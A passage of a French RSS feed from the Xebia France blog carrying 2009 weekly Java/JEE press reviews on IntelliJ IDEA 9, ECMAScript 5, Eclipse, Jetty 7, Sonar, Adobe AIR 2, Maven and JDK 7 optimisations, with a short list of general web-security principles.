href="http://www.jetbrains.com/" title="JetBrains" >JetBrains</a> continue donc sur sa lancée d&#8217;évolution majeure de ses produits.<br
/> Ainsi, après <a
href="http://blog.xebia.fr/2009/12/07/revue-de-presse-xebia-137/#SortiedeTeamCity" title="TeamCity 5.0" >TeamCity 5.0</a>, c&#8217;est au tour d&#8217;<a
href="http://www.jetbrains.com/idea/index.html" title="IntelliJ IDEA" >IntelliJ IDEA</a> d&#8217;évoluer et de <a
href="http://blogs.jetbrains.com/idea/2009/12/intellij-idea-9-finally-out-with-great-new-features-a-performance-boost/" title="passer en version 9" >passer en version 9</a>.</p><p>Les <a
href="http://www.jetbrains.com/idea/whatsnew/index.html" title="nouveauts sont trs nombreuses" >nouveautés sont très nombreuses</a>. Les points importants retenus par JetBrains sont :</p><ul><li>la rapidité de l&#8217;IDE,</li><li>l&#8217;amélioration de la lecture du code <em>(meilleure coloration syntaxique&#8230;)</em>,</li><li>meilleure UI, une structure de projet plus flexible,</li><li>premier support Java 7 avec JSR308, support de JEE 6,</li><li>meilleur support de Groovy,</li><li>plugin de développement Android,</li><li>support d&#8217;autres frameworks <em>(Tapestry, GAE, GWT 1.7 et 2.0, Spring 3.0 et Spring Security 2.0 et 3.0)</em>,</li><li>meilleur support de Maven,</li><li>plusieurs nouvelles fonctionnalités pour le développement d&#8217;applications Flex. <em>(Air, FlexUnit&#8230;)</em>.</li></ul><p>Deux éditions nous sont proposées <a
href="http://www.jetbrains.com/idea/download/index.html" title="en téléchargement" >en téléchargement</a> (avec <a
href="http://www.jetbrains.com/idea/buy/index.jsp#newuser" title="diffrentes licences" >différentes licences</a>) :</p><ul><li>l&#8217;édition <em>ultimate</em> : complète, gratuite pour les licences <em>Classroom</em> et <em>Open Source Project</em> ;</li><li>l&#8217;édition <em>community</em> : produit sous licence Apache 2.0 proposant en standard l&#8217;IDE pour Java et Groovy (et quelques plugins gratuits).</li></ul><p>Et même quelques <a
href="http://konigsberg.blogspot.com/2009/12/eclipse-users-go-download-intellij.html" title="Friends of Eclipse" >Friends of Eclipse</a> vous encouragent à le télécharger <img
src='http://blog.xebia.fr/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> Comme on dit : <em>l&#8217;essayer, c&#8217;est l&#8217;adopter</em> !</p><h4><a
name="ansdattenteetECMAScript"></a>10 ans d&#8217;attente et ECMAScript 5</h4><p>ECMAScript, langage de programmation de type script implémenté entre autres par Javascript et ActionScript, passe en <a
href="http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-262.pdf" title="version 5" >version 5</a> <em>(via <a
href="http://www.infoq.com/news/2009/12/ecmascript5" title="InfoQ" >InfoQ</a>)</em>.<br
/> La version 4 ayant été abandonnée, il faut remonter à 1999 pour voir la dernière version d&#8217;ECMAScript et sa version 3&#8230; Ce fût long, mais au moins il est là !</p><p>Comme nous le rappelle <a
href="http://alblue.blogspot.com/2009/12/javascript-5-standard-released.html" title="Alex Blewitt" >Alex Blewitt</a>, celle-ci essayera de s&#8217;imposer là où la version 4 (qui a d&#8217;ailleurs été abandonnée) a échoué, à savoir être pleinement supportée par les navigateurs actuels. En effet, nos sites web et nos outils évoluent mais pas la spécification ECMA. Côté application, c&#8217;est une nouvelle fois Google Wave <em>(en GWT donc Javascript)</em> qui est cité en exemple pour son côté collaboratif <em>live</em>. Et pour les outils, l&#8217;auteur cite Speed Tracer <em>(inclus dans la release GWT 2.0)</em> qui va nous permettre de détecter et de fixer certains problèmes de performances sur nos applications.</p><p>On notera la rétrocompatibilité avec les anciennes applications ECMAScript grâce au code suivant :</p><pre class="brush: java; title: ; notranslate">
&quot;use strict;&quot;
</pre><p>Ce code indique au runtime ECMAScript qu&#8217;il faut être compatible avec la version 5 d&#8217;ECMAScript et ses différentes nouveautés. Il sera possible d&#8217;être compatible sur tout le document ou seulement sur une partie de code. Concernant les anciens runtimes, le <code>strict</code> sera compris mais ne changera pas leur comportement.</p><p>Concernant les nouveautés de la spécification, on retiendra :</p><ul><li>déclaration de variable obligatoire : terminé les <code>i=3</code>, il faudra obligatoirement passer par <code>var i=3</code> ;</li><li><code>eval</code> devient un mot clé réservé ;</li><li>l&#8217;opérateur <code>with</code> disparaît ;</li><li>les fonctions et objets ne peuvent plus avoir des arguments/propriétés doubles avec le même nom ;</li><li>nouvel objet JSON et mécanisme de <em>parsing</em> désormais standard ;</li><li>méthode <code>trim</code> pour l&#8217;objet <code>String</code> ;</li><li>méthodes <code>indexOf</code>, <code>map</code>, <code>filter</code> and <code>reduce</code> pour l&#8217;objet <code>Array</code>;</li><li>nombreuses nouvelles méthodes sur <code>Object</code> dont <code>seal</code> <em>(empêche l&#8217;ajout/la suppression de propriétés)</em>, <code>freeze</code> <em>(propriétés read-only)</em>, <code>keys</code> <em>(liste les propriétés de l&#8217;objet)</em> ou <code>getPrototypeof</code> <em>(prototype de l&#8217;objet)</em>.</li></ul><p>Beaucoup de bonnes nouvelles pour les développeurs donc. La rétrocompatibilité permettra une mise en place progressive sur notre code, soit par bloc soit directement sur toute la page. Côté API, on avait déjà l&#8217;habitude d&#8217;utiliser ces fonctions par l&#8217;intermédiaire de librairies comme <a
href="http://jquery.com/" title="jQuery" >jQuery</a> mais cette standardisation est la bienvenue.</p><h4><a
name="NouvelleMilestonedEclipseHelio"></a>Nouvelle Milestone d&#8217;Eclipse Helios</h4><p>Eclipse 3.6, nom de code Helios, vient de sortir en version Milestone 4. De nouvelles fonctionnalités sont apparues avec ce build, comme :</p><ul><li>la possibilité d&#8217;éditer plusieurs quick fix en même temps</li><li>les &laquo;&nbsp;virtual folders&nbsp;&raquo; qui permettent de créer des regroupements de fichiers au niveau du projet pour une navigation plus facile</li><li>amélioration du plugin JUnit</li></ul><p>Pour plus de détails, voici la <a
href="http://download.eclipse.org/eclipse/downloads/drops/S-3.6M4-200912101301/eclipse-news-M4.html" title="liste des améliorations" >liste des améliorations</a> et <a
href="http://eclipsesource.com/blogs/2009/12/12/eclipse-3-6-m4-helios-available-for-download/" title="lannonce officielle" >l&#8217;annonce officielle</a> d&#8217;EclipseSource.</p><h4><a
name="SpringSurflestudiodecompositio"></a>Spring Surf &#8211; le studio de composition de pages pour Spring MVC</h4><p>Spring s&#8217;intéresse à présent à la gestion documentaire, grâce à une collaboration avec Alfresco, le système de GED Open Source Java, qui a démarré le projet Surf. A l&#8217;origine, l&#8217;objectif était de proposer aux utilisateurs d&#8217;Alfresco une plateforme pour développer leurs propres applications connectées à la GED.</p><p>Pour profiter des facilités de développement d&#8217;applications que propose Spring avec <a
href="http://www.springsource.org/roo" title="Spring Roo" >Spring Roo</a> et <a
href="http://www.springsource.com/products/sts" title="Spring Tool Suite" >Spring Tool Suite</a>, Alfresco commence à migrer son projet Surf dans l&#8217;<em>incubator</em> Spring Extension.</p><p>Pour le moment, les principales informations se trouvent sur le <a
href="http://wiki.alfresco.com/wiki/Surf" title="wiki d'Alfresco" >wiki d&#8217;Alfresco</a>, la <a
href="http://www.springsource.org/extensions/se-surf" title="page daccueil de Spring Surf" >page d&#8217;accueil de Spring Surf</a> étant encore très succincte.</p><p>Pour démarrer, seuls l&#8217;addon Spring Roo et un QuickStart sont disponibles chez Spring (pas encore de tutorial). Et pour mieux connaitre ce que deviendra cette extension, l&#8217;application <a
href="http://wiki.alfresco.com/wiki/Alfresco_Share" title="Alfresco Share" >Alfresco Share</a>, basée sur la <a
href="http://wiki.alfresco.com/wiki/Surf_Platform" title="plateforme Surf" >plateforme Surf</a> donne un bon nombre de pistes comme :</p><ul><li>Création d&#8217;applications uniquement par scripting (Freemarker, Groovy, PHP, JavaScript)</li><li>Ajout de pages à une application basée sur le framework Spring MVC</li><li>Développement avec un modèle extensible de templates, composants, styles, etc.</li></ul> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2009/12/14/revue-de-presse-xebia-138/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2009/10/12/revue-de-presse-xebia-129/</link> <comments>http://blog.xebia.fr/2009/10/12/revue-de-presse-xebia-129/#comments</comments> <pubDate>Mon, 12 Oct 2009 16:41:35 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Adobe]]></category> <category><![CDATA[AIR]]></category> <category><![CDATA[DHTMLX]]></category> <category><![CDATA[Eclipse]]></category> <category><![CDATA[J2EE]]></category> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[jdk-6]]></category> <category><![CDATA[jdk-7]]></category> <category><![CDATA[Jetty]]></category> <category><![CDATA[Maven]]></category> <category><![CDATA[RIA]]></category> <category><![CDATA[Servlet 3.0]]></category> <category><![CDATA[Sonar]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=2984</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII La fondation Eclipse se prépare à Servlet 3.0 avec Jetty 7.0 Sonar 1.11 RIA Air &#8216;Athena&#8217; DHTMLX 2.5 Tips and Tricks Maven 2 Le coin de la technique Sécurité : 5 choses de plus que les agresseurs d&#8217;applications web ne [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/10/12/revue-de-presse-xebia-129/#LafondationEclipseseprpareServ">La fondation Eclipse se prépare à Servlet 3.0 avec Jetty 7.0</a></li><li><a
href="http://blog.xebia.fr/2009/10/12/revue-de-presse-xebia-129/#Sonar">Sonar 1.11</a></li></ul><p><strong>RIA</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/10/12/revue-de-presse-xebia-129/#AirAthena">Air &#8216;Athena&#8217;</a></li><li><a
href="http://blog.xebia.fr/2009/10/12/revue-de-presse-xebia-129/#DHTMLX">DHTMLX 2.5</a></li><li><a
href="http://blog.xebia.fr/2009/10/12/revue-de-presse-xebia-129/#TipsandTricksMaven">Tips and Tricks Maven 2</a></li></ul><p><strong>Le coin de la technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/10/12/revue-de-presse-xebia-129/#Scuritchosesdeplusquelesagress">Sécurité : 5 choses de plus que les agresseurs d&#8217;applications web ne vous diront pas</a></li><li><a
href="http://blog.xebia.fr/2009/10/12/revue-de-presse-xebia-129/#LesoptimisationsduJDKuactivesp">Les optimisations du JDK 6u14 activées par défaut sur le JDK 7</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité éditeurs / SSII</h3><h4><a
name="LafondationEclipseseprpareServ"></a>La fondation Eclipse se prépare à Servlet 3.0 avec Jetty 7.0</h4><p>La fondation Eclipse nous livre une nouvelle version de Jetty estampillée 7.0. Côté nouveauté, pas grand chose à vrai dire. Il y a évidemment l&#8217;habituelle série de corrections de bugs et d&#8217;améliorations de performance. Cette nouvelle version marque surtout le début de la route vers l&#8217;implémentation des servlets 3.0 prévue pour Jetty 8.0. C&#8217;est aussi l&#8217;occasion pour Eclipse d&#8217;assimiler un peu plus le projet en changeant principalement le <em>package</em> ancêtre de <code>org.mortbay</code> vers <code>org.eclipse</code>, gare au <em>refactoring</em> donc. A noter tout de même, Jetty est maintenant livré sous une forme modulaire pleinement compatible OSGI. Webtide en profite pour livrer la même version de Jetty, en y intégrant des modules additionnels:</p><ul><li>JSP de glassfish</li><li>JTA d&#8217;atomikos</li><li>plugin maven</li><li>integration d&#8217;ant</li><li>configuration Spring</li></ul><p>Jetty 6 sera encore maintenu pendant quelques temps (aucune précision de la part d&#8217;Eclipse), tous les nouveaux développements seront faits sur Jetty 7, et la branche 8 sera en pré-release dans les prochains mois et supportera l&#8217;API Servlet 3.0.</p><ul><li><a
href="http://dev.eclipse.org/mhonarc/lists/jetty-dev/msg00294.html" title="Lannonce sur la ML" >L&#8217;annonce sur la ML</a></li><li><a
href="http://www.infoq.com/news/2009/10/jetty-7-0-released" title="La news dInfoQ" >La news d&#8217;InfoQ</a></li><li><a
href="http://www.eclipse.org/jetty/" title="La page Jetty chez Eclipse" >La page Jetty chez Eclipse</a></li><li><a
href="http://jetty.mortbay.org/jetty/index.html" title="La page Jetty chez Codehaus" >La page Jetty chez Codehaus</a></li></ul><h4><a
name="Sonar"></a>Sonar 1.11</h4><p>SonarSource nous gratifie d&#8217;une version 1.11 du désormais célèbre outil de suivi de qualité Sonar. Comme souvent, de nombreux de <em>bugs</em> ont été corrigés. Parmi les améliorations, on peut noter les passages à Hibernate 3.3 et GWT 1.7. Au chapitre des nouvelles fonctionnalités, la possibilité de réutiliser les fichiers de configuration PMD et CheckStyle définis dans le <em>pom</em> permettra de plus aisément éviter les doublons.</p><p>SonarSource tente de faciliter la vie des développeurs de <em>plugins</em> avec l&#8217;apparition d&#8217;un archétype Maven pour créer des <em>plugins</em> Sonar. D&#8217;autres nouveautés d&#8217;API, comme le filtrage de widgets suivant différents critères (comme le rôle utilisateur ou la langue choisie), ajoutent de la flexibilité.</p><ul><li><a
href="http://sonar.codehaus.org/sonar-111-in-screenshots/" title="Lannonce sur le blog Sonar" >L&#8217;annonce sur le blog Sonar</a> avec plein de jolies images.</li><li><a
href="http://sonar.codehaus.org/downloads/" title="La release note" >La release note</a>.</li></ul><h3><a
name="RIA"></a>RIA</h3><h4><a
name="AirAthena"></a>Air &#8216;Athena&#8217;</h4><p>Non, ce n&#8217;est pas une nouvelle marque de baskets, mais, comme les flexeurs le savent depuis le Flash Camp de mai, le nom de code de la future version de Adobe Air, la version 2.0. Comme on s&#8217;y attendait, celle-ci fonctionnera avec Flash 10 et Flex 4. Même si aucune date officielle n&#8217;a été avancée, Adobe dévoile peu à peu les principales évolutions de sa plate-forme, <a
href="http://www.insideria.com/2009/10/air-2-enhancements-complete-ov.html" title="nouveauts rpertories par Elad Elrom sur InsideRIA" >nouveautés répertoriées par Elad Elrom sur InsideRIA</a>.<br
/> Commençons par celle qui nous semble vitale dans l&#8217;adoption de AIR / Flex à grande échelle, à savoir une amélioration drastique des performances. Les équipes d&#8217;Adobe ont mis l&#8217;accent sur la réduction des ressources (CPU et mémoire) consommées par le runtime AIR. Les tests effectués sur une mini application montrent en effet une diminution des ressources utilisées (en regard de la version 1.5). Reste à tester ces optimisations sur une application gourmande&#8230; Toujours au chapitre performance, Adobe promet une optimisation de Webkit (le browser open source embarqué par AIR) et une installation Linux native.<br
/> Au menu des nouveautés, nous avons :</p><ul><li>Une meilleure connaissance de la plate-forme matérielle, avec la gestion des devices multi-touch et la gestion des périphériques de stockage USB ou réseau &#8216;à chaud&#8217;.</li><li>Un enrichissement des fonctionnalités des APIs existantes : points de sauvegarde dans les transactions, support IPv6, augmentation de la taille maximale de la fenêtre AIR, manipulation des données de l&#8217;API Microphone, time-out d&#8217;inactivité&#8230;</li><li>De nouvelles fonctionnalités via de nouvelles API, dont la plus étonnante est l&#8217;API File promises. Celle-ci permet de télécharger en local, depuis une application AIR, un ensemble de fichiers par simple Drag &#038; Drop. D&#8217;autres API font également leur apparition, en particulier au niveau du support réseau et de l&#8217;adhérence de AIR à l&#8217;OS (les fichiers peuvent maintenant être ouverts par des processus natifs de l&#8217;OS, par exemple Notepad pour un .txt sous Windows).</li></ul><p>Une évolution assez naturelle donc (correction des gros points de blocage des versions précédentes), mais quelques promesses de fonctionnalités intéressantes, en particulier via <em>l&#8217;adhérence</em> à l&#8217;OS.</p><h4><a
name="DHTMLX"></a>DHTMLX 2.5</h4><p>Des nouvelles de <a
href=" http://dhtmlx.com/" title="DTHMLX" >DTHMLX</a> (la 11ème librairie de notre <a
href="http://blog.xebia.fr/2009/01/26/revue-de-presse-xebia-93/#belleslibrairiesWebUI" title="revue de presse de fin janvier dernier" >revue de presse de fin janvier dernier</a>) qui est sorti il y a quelques semaines en <a
href="http://dhtmlx.com/docs/news/index.shtml?show=44" title="version 25" >version 2.5</a>.</p><p>Cette release apporte plusieurs corrections et améliorations sur tous les composants de la suite. On retiendra plus particulièrement :</p><ul><li>Une API orientée objet (l&#8217;API fonctionnelle est toujours disponible) ,</li><li>Nouvelle skin par défaut avec d&#8217;ici peu (mais non présent dans cette release) un <em>Skin Customizer</em> qui permettra de modifier facilement les couleurs principales du thème standard,</li><li>Nouveau moteur de rendu qui améliore la performance d&#8217;affichage des composants <code>Layout</code>, <code>Windows</code>, <code>Accordion</code> et <code>Tabbar</code>,</li><li>Une API de conteneurs unifiée (toujours pour les <code>Layout</code>, <code>Windows</code>, <code>Accordion</code> et <code>Tabbar</code>),</li><li>Améliorations générales pour les composants <code>Grid</code>, <code>Tree</code> et <code>TreeGrid</code>,</li><li>Révision complète du <a
href="http://www.dhtmlx.com/docs/products/docsExplorer/" title="DocsExplorer" >DocsExplorer</a>.</li></ul><p>Puisque nous sommes sur DHTMLX, notons aussi le composant <a
href="http://www.dhtmlx.com/docs//products/dhtmlxScheduler/index.shtml" title="Scheduler v20" >Scheduler v.2.0</a>, sorti en juillet dernier, qui n&#8217;est pas inclus dans la suite mais qui vaut tout de même le détour si vous avez besoin d&#8217;un composant calendrier haut niveau.</p><p>Les téléchargements se passent par <a
href="http://www.dhtmlx.com/docs/download.shtml" title="ici" >ici</a> et comme d&#8217;habitude vous aurez le choix entre le téléchargement composant par composant ou le téléchargement de la suite complète.<br
/> Chaque composant existe en édition standard ou professionnelle. Pour résumer la version standard contient moins de fonctionnalités et est sous licence GPL alors que la professionnelle contient toutes les fonctionnalités, un support prioritaire en cas de bugs/questions sur le forum et plusieurs centaines d&#8217;exemples de fonctionnalités avancées.<br
/> Pour le détail des licences et des différents prix proposés pour les composants et pour la suite complète, cela se passe sur cette <a
href="http://www.dhtmlx.com/docs/products/licenses.shtml" title="page" >page</a>.</p><h4><a
name="TipsandTricksMaven"></a>Tips and Tricks Maven 2</h4><p>Sonatype nous présente <a
href="http://www.sonatype.com/people/2009/10/maven-tips-and-tricks-advanced-reactor-options/" title="ici" >ici</a> quelques nouveautés intéressantes de maven disponibles depuis la version 2.1 concernant les projets multi-modules. Cela se traduit par de nouvelles commandes disponibles telles que:</p><ul><li><code>-rf</code>, <code>-resume-from</code>: permet de spécifier au maven reactor le projet à partir duquel on veut reprendre le build</li><li><code>-pl</code>, <code>-projects</code>: permet de sélectionner une liste de modules d&#8217;un projet multi-modules</li><li><code>-am</code>, <code>-also-make</code>: combinée avec l&#8217;option <code>-pl</code>, elle permet de construire tous les modules dépendants du module passé à l&#8217;option <code>pl</code></li><li><code>-amd</code>, <code>-also-make-dependents</code>: combinée avec l&#8217;option <code>-pl</code>, elle permet de construire tous les modules qui ont une dépendance vers le module passé à l&#8217;option <code>pl</code></li></ul><p>Très bonne nouvelle donc pour les développeurs dont le build prenait beaucoup de temps à cause de la reconstruction de modules non modifiés (et non impactés) par leurs nouveaux développements.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la technique</h3><h4><a
name="Scuritchosesdeplusquelesagress"></a>Sécurité : 5 choses de plus que les agresseurs d&#8217;applications web ne vous diront pas</h4><p>Le Denim Group continue sa série <a
href="http://denimgroup.typepad.com/denim_group/2009/09/13-things-a-web-application-attacker-wont-tell-you.html" title="13 Things a Web Applications Attacker Won't Tell You" >13 Things a Web Applications Attacker Won&#8217;t Tell You</a> que nous avions <a
href="http://blog.xebia.fr/2009/10/05/revue-de-presse-xebia-128/#Scuritchosesquelesagresseursda" title="traitée la semaine dernière" >traitée la semaine dernière</a> avec <a
href="http://denimgroup.typepad.com/denim_group/2009/10/5-more-things-a-web-application-attacker-wont-tell-you.html" title="5 nouvelles failles de scurit" >5 nouvelles failles de sécurité</a> de nos applications web :</p><ul><li>Ce n&#8217;est pas parce que vous utilisez un framework de sécurité que votre application est sécurisée.</li><li>Je n&#8217;utilise pas un browser pour attaquer votre application web.</li><li>J&#8217;adore quand votre site me permet d&#8217;<em>uploader</em> des fichiers dans l&#8217;arborescence des répertoires servis par l&#8217;application web.</li><li>Je peux intercepter et voler toutes les informations qui passent sur HTTP si elles ne sont pas protégées par SSL ou un mécanisme équivalent.</li><li>Une sécurité obscurantiste n&#8217;en est pas une (ne pas savoir faire ou se dire que ca n&#8217;arrivera pas ne protège pas).</li></ul><p>Si le dernier point est un débat éternel chez les experts de la sécurité les premiers sont en revanche communément admis.</p><h4><a
name="LesoptimisationsduJDKuactivesp"></a>Les optimisations du JDK 6u14 activées par défaut sur le JDK 7</h4><p>Rémi Forax, un contributeur sur <a
href="http://openjdk.java.net/" title="OpenJDK" >OpenJDK</a> et sur la <a
href="http://jcp.org/en/jsr/detail?id=292" title="JSR-292" >JSR-292</a>, <a
href="http://weblogs.java.net/blog/forax/archive/2009/10/06/jdk7-do-escape-analysis-default" title="a fait part de son étonnement" >a fait part de son étonnement</a> en constatant un gain significatif de performance entre deux <em>builds</em> successifs de l&#8217;OpenJDK 7 actuellement en cours de développement. C&#8217;est ainsi qu&#8217;il a pu se rendre compte que deux optimisations majeures du compilateur JIT de la JVM étaient activées par défaut <a
href="http://download.java.net/jdk7/changes/jdk7-b72.html" title="depuis le build 72" >depuis le <em>build</em> 72</a> du projet : l&#8217;<em>escape analysis</em> et la compression de pointeurs. Celles-ci étaient apparues dans le JDK 6u14 mais n&#8217;y étaient pas activées par défaut.</p><p>Pour rappel l&#8217;<em>escape analysis</em> consiste en l&#8217;analyse du bytecode d&#8217;une méthode pour découvrir les références vers les objets qui ne &laquo;&nbsp;s&#8217;échappent&nbsp;&raquo; pas du contexte de la méthode. Grâce à cette analyse, la JVM peut alors décider d&#8217;allouer ces objets directement sur la <em>stack</em> plutôt qu&#8217;en <em>heap</em> comme c&#8217;est normalement le cas. Il en résulte un gain de performance évident puisque le coût d&#8217;allocation et de libération de mémoire est alors supprimé pour ces objets.</p><p>La <a
href="http://wikis.sun.com/display/HotSpotInternals/CompressedOops" title="compression de pointeurs" >compression de pointeurs</a>, quant à elle, concerne uniquement les JVM 64 bits. En effet le passage d&#8217;un adressage de 32 à 64 bits entraîne une consommation plus élevée de la mémoire du fait de l&#8217;augmentation de la taille des pointeurs, induisant elle-même des temps de chargement plus longs et une surconsommation du cache du processeur. Pour palier ce problème, la compression de pointeurs se base sur le fait que la JVM aligne l&#8217;adresse des objets sur 64 bits (ceci afin de simplifier et donc d&#8217;accélérer leur accès en mémoire), pour procéder à un <em>scaling</em> des pointeurs. Ainsi, en limitant l&#8217;espace mémoire adressable à 32 Go, il est possible de contenir un pointeur dans 32 bits et donc de revenir à une consommation mémoire proche de celle d&#8217;une JVM 32 bits.</p><p>L&#8217;activation par défaut de ces deux optimisations sur le JDK 7 montre que l&#8217;équipe du projet estime désormais qu&#8217;elles ne sont plus expérimentales et qu&#8217;elles conviennent dans la majorité des cas. Ismael Juma <a
href="http://weblogs.java.net/blog/forax/archive/2009/10/06/jdk7-do-escape-analysis-default#comment-10698" title="prcise" >précise</a> par ailleurs qu&#8217;il est possible que ces activations par défaut soient reportées également au JDK 6 courant 2010.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2009/10/12/revue-de-presse-xebia-129/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2009/08/10/revue-de-presse-xebia-121/</link> <comments>http://blog.xebia.fr/2009/08/10/revue-de-presse-xebia-121/#comments</comments> <pubDate>Mon, 10 Aug 2009 16:08:43 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Eclipse]]></category> <category><![CDATA[J2EE]]></category> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[JavaCampParis]]></category> <category><![CDATA[JBoss]]></category> <category><![CDATA[JSR-299]]></category> <category><![CDATA[JSR-330]]></category> <category><![CDATA[Spring]]></category> <category><![CDATA[SpringSource Tool Suite]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=2616</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII Fin officielle de la guerre des JSR d&#8217;injection de dépendances Le coin de la technique SpringSource Tool Suite 2.1.0 JBoss vous aide à manipuler vos annotations Eclipse 3.6 M1 Evènements de notre communauté en France et à l&#8217;étranger JavaCampParis en [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/08/10/revue-de-presse-xebia-121/#FinofficielledelaguerredesJSRd">Fin officielle de la guerre des JSR d&#8217;injection de dépendances</a></li></ul><p><strong>Le coin de la technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/08/10/revue-de-presse-xebia-121/#SpringSourceToolSuite">SpringSource Tool Suite 2.1.0</a></li><li><a
href="http://blog.xebia.fr/2009/08/10/revue-de-presse-xebia-121/#JBossvousaidemanipulervosannot">JBoss vous aide à manipuler vos annotations</a></li><li><a
href="http://blog.xebia.fr/2009/08/10/revue-de-presse-xebia-121/#EclipseM">Eclipse 3.6 M1</a></li></ul><p><strong>Evènements de notre communauté en France et à l&#8217;étranger</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/08/10/revue-de-presse-xebia-121/#JavaCampParisenpleinair">JavaCampParis en plein air !</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité éditeurs / SSII</h3><h4><a
name="FinofficielledelaguerredesJSRd"></a>Fin officielle de la guerre des JSR d&#8217;injection de dépendances</h4><p>Nous en parlions <a
href="http://blog.xebia.fr/2009/08/03/revue-de-presse-xebia-120/#Avancementdesspcificationsetim" title="dès la semaine dernière" >dès la semaine dernière</a> (grâce aux informations fournies par les <a
href="http://lescastcodeurs.com/2009/08/les-cast-codeurs-podcast-episode-7-le-dsl-et-ses-amantes/" title="Cast Codeurs" >Cast Codeurs</a>), la <a
href="http://blog.xebia.fr/2009/05/11/inject-standardisation-de-linjection-de-dependances/" title="rivalit JSR299  JSR330" >rivalité JSR-299 / JSR-330</a>, portant sur l&#8217;injection de dépendances, débouche sur une harmonisation des deux JSR.<br
/> Roberto Chinnici, leader de la spécification Java EE 6, <a
href="http://weblogs.java.net/blog/robc/archive/2009/08/dependency_inje.html" title="lannonce sur son blog" >l&#8217;annonce sur son blog</a>. Les deux JSR seront intégrées à la spécification JEE 6.</p><ul><li>la JSR 299 (dite &laquo;&nbsp;Web Beans&nbsp;&raquo;) intègrera les annotations proposées par la JSR 330.</li><li>la JSR 330 (dite &laquo;&nbsp;@Inject&nbsp;&raquo;) intègre, dès aujourd&#8217;hui en draft, les objectifs de la JSR 299</li></ul><p>L&#8217;équipe en charge de la JSR 330 a fait d&#8217;importants efforts sur le planning pour que celle ci puisse être intégrée à JEE6 : early draft d&#8217;ores et déjà <a
href="http://jcp.org/aboutJava/communityprocess/edr/jsr330/index.html" title="disponible" >disponible</a>, et navigation à travers les différentes étapes du processus du JCP accélérée.<br
/> Cela aura un impact mineur sur la finalisation de la spécification Java EE 6 (estimé entre 4 et 6 semaines). Celle ci devrait donc être disponible en version finale en novembre.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la technique</h3><h4><a
name="SpringSourceToolSuite"></a>SpringSource Tool Suite 2.1.0</h4><p>Quelques mois après l&#8217;annonce de la <a
href="http://blog.springsource.com/2009/05/07/springsource-tool-suite-now-free/" title="gratuité de STS ou SpringSource Tool Suite" >gratuité de STS ou SpringSource Tool Suite</a>, le produit sort fin de semaine dernière en <a
href="http://blog.springsource.com/2009/08/06/springsource-tool-suite-210-now-available/" title="version 210 GA" >version 2.1.0 GA</a>.</p><p>Côté packaging, on a le choix entre une version d&#8217;eclipse 3.4 ou 3.5, les 2 étant disponibles sous Windows, Mac et Linux. La suite inclut les dernières versions de tc Server et dm Server ainsi que Roo. Une autre release contenant le plugin Groovy est aussi disponible (uniquement en 3.5).</p><p>Comme le signale <a
href="http://blog.springsource.com/author/cdupuis/" title="Christian Dupuis" >Christian Dupuis</a>, la liste des nouveautés est assez <a
href="http://www.springsource.com/files/uploads/all/pdf_files/product/STS-new_and_noteworthy-2.1.0.RELEASE.pdf" title="consquente" >conséquente</a>. On retiendra plus particulièrement :</p><ul><li>Support des milestones Spring 3.0 (@Configuration, @Bean, validation XML&#8230;)</li><li>Support des milestones de SpringSource dm Server 2.0</li><li>Déploiement sur les plateformes virtuels de type EC2 ou VMWare Lab Manager</li><li>Amélioration des performances de l&#8217;IDE et réduction de l&#8217;empreinte mémoire</li><li>Et plusieurs corrections de bugs (cf. la <a
href="https://issuetracker.springsource.com/secure/ReleaseNote.jspa?version=10183&#038;styleName=Html&#038;projectId=10010&#038;Create=Create" title="release notes du Jira" >release notes du Jira</a>)</li></ul><p>L&#8217;équipe travaille déjà sur la prochaine version 2.2.0 avec dans les tuyaux :</p><ul><li>Intégration du support Spring 3.0 pour le développement d&#8217;application RESTful</li><li>Support de Grails</li><li>Support de dm Server 2.0</li></ul><p>Téléchargement sur le site de <a
href="http://www.springsource.com/products/springsource-tool-suite-download" title="SpringSource" >SpringSource</a> après avoir rempli le formulaire d&#8217;accord.</p><h4><a
name="JBossvousaidemanipulervosannot"></a>JBoss vous aide à manipuler vos annotations</h4><p>Début 2008, Bill Burke (<em>project lead</em> de JBoss RestEasy) présentait une petite librairie Java très pratique nommée <a
